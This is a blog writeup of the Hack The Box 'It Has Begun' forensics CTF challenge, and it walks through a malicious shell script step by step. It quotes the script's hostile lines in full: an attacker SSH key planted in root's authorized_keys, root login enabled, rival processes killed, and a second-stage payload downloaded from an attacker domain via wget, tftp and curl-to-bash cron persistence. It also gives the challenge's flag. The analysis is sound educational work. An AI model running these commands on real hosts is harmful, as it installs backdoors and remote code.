forbytten blogs

It Has Begun Writeup - Cyber Apocalypse 2024

Last update:

1 Introduction

This writeup covers the It Has Begun Forensics challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘very easy’ difficulty. The challenge involved the forensic analysis of a shell script.

The description of the challenge is shown below.

It Has Begun challenge description

2 Key Techniques

The key techniques employed in this writeup are:

3 Artifacts Summary

The downloaded artifact had the following hash:

$ shasum -a256 forensics_it_has_begun.zip
866c515f6c43838f346926071d0f80ce0afab0c715f2df0e3b771e5c42e8c6f1  forensics_it_has_begun.zip

The zip file contained a single shell script file:

$ unzip forensics_it_has_begun.zip
Archive:  forensics_it_has_begun.zip
  inflating: script.sh

$ shasum -a256 script.sh
5ce310ea3eec3b99c723742a273e5de4e09c0fe377dc8b6e888e75518a2fd760  script.sh

4 Basic file identification

The file command identified script.sh as a POSIX shell script:

$ file script.sh
script.sh: POSIX shell script, Unicode text, UTF-8 text executable, with very long lines (513)

The script is 2269 bytes long:

$ wc -c script.sh
2269 script.sh

5 Static analysis

5.1 Uses sh shell

The script executes via the /bin/sh shell.

#!/bin/sh

5.2 Runs on a specific host

The script will only run on a host with name of KORP-STATION-013:

if [ "$HOSTNAME" != "KORP-STATION-013" ]; then
    exit
fi

5.3 Must be effective root

The script will only run if the effective user id is root (0):

if [ "$EUID" -ne 0 ]; then
    exit
fi

5.4 Kill and removes docker processes

The script kills and removes all docker processes:

docker kill $(docker ps -q)
docker rm $(docker ps -a -q)

5.5 Persistence via ssh authorized keys

5.5.1 Writes attacker’s public key to /root/.ssh/authorized_keys

The script attempts to gain persistence by echoing an attacker public ssh key to /root/.ssh/authorized_keys. This will allow the attacker to ssh to the target as root later using their private ssh key, which corresponds to technique T1098.004 Account Manipulation: SSH Authorized Keys.

echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys

The comment against the key entry was observed to contain a partial flag in the host portion but it was reversed:

$ echo 'tS_u0y_ll1w{BTH' | rev
HTB{w1ll_y0u_St

5.5.2 Updates sshd config to permit root login

The sshd configuration was updated to permit root login over ssh:

echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

5.6 Configures DNS resolution of attacker domain

The script adds an entry to /etc/hosts to resolve legions.korp.htb, which is an attacker controlled domain:

 15 echo "nameserver 8.8.8.8" >> /etc/resolv.conf
 ...
 17 echo "128.90.59.19 legions.korp.htb" >> /etc/hosts

5.7 Looks for and kills specific processes

The script looks for and kills specific processes, such as processes associated with the PostgreSQL database:

for filename in /proc/*; do
    ex=$(ls -latrh $filename 2> /dev/null|grep exe)
    if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
        result=$(echo "$filename" | sed "s/\/proc\///")
        kill -9 $result
        echo found $filename $result
    fi
done

5.8 Will only continue for some machine architectures

The script will only continue if the machine architecture is one of x86, x86_64, mips, aarch64, or arm.

ARCH=$(uname -m)
array=("x86" "x86_64" "mips" "aarch64" "arm")

if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
  exit
fi

5.9 Downloads and executes second stage payload

The script attempts to download a second stage payload, 0xda4.0xda4.$ARCH from the legions.korp.htb domain. The script tries to find a directory that can be changed to, then tries wget, tftp and busybox wget methods to download the payload, before attempting to execute it.

cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;

5.10 Persistence via a cron job

The final line persists a cronjob that runs every 5 minutes and tries to download the second stage payload using curl and pipe it to a bash command, albeit the bash invocation is defanged for the challenge, as the command is actually a base64 encoded partial flag instead of a real command. The use of cron corresponds to technique T1053.003 Scheduled Task/Job: Cron.

echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab

The partial flag was decoded:

$ echo -n 'NG5kX3kwdVJfR3IwdU5kISF9' |base64 -d
4nd_y0uR_Gr0uNd!!}

6 Combining the flag parts

The combined flag parts resulted in:

HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}

7 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned